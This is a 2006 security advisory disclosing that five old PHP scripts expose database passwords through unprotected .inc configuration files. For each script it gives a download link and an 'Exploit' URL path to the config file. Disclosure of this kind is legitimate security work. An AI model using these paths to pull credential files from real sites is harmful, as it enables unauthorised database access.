5 php scripts remote database password disclosure
#
# Title: 5 php scripts remote database password disclosure
# Date: Sun July 02 21:04 2006
# Credits: Security hole discovered by DarkFig (gmdarkfig@xxxxxxxxx)
# Problem: Database configuration is located in a .inc file(no protected by
.htaccess file)
# Web: http://acid-root.new.fr
#
# VulnScr: Mp3netbox Beta 1
# Author: flymoon@xxxxxxxxxxxxxxxxxxxxx
# Download: http://sourceforge.net/projects/mp3netbox
# Exploit: http://[...]/config.inc
# VulnScr: efone <= 20000723
# Author: brush@xxxxxxxxxxxxxxxxxxxxx
# Download: http://sourceforge.net/projects/efone
# Exploit: http://[...]/config.inc
# VulnScr: Kamikaze-QSCM <= v0.1
# Author: ???@????.???
# Download: http://kamikaze-qscm.tigris.org/
# Exploit: http://[...]/config.inc
# VulnScr: Blueboy <= 1.0.3
# Author: mano@xxxxxxxxxxxxxxxxxxxxx
# Download: http://sourceforge.net/projects/bb-news
# Exploit: http://[...]/bb_news_config.inc
# VulnScr: Foros V.1.0
# Author: eupla@xxxxxxxxxxxxxxxxxxxxx
# Download:
http://sourceforge.net/project/showfiles.php?group_id=14333&package_id=51342
# Exploit: http://[...]/inc/config.inc
#EOF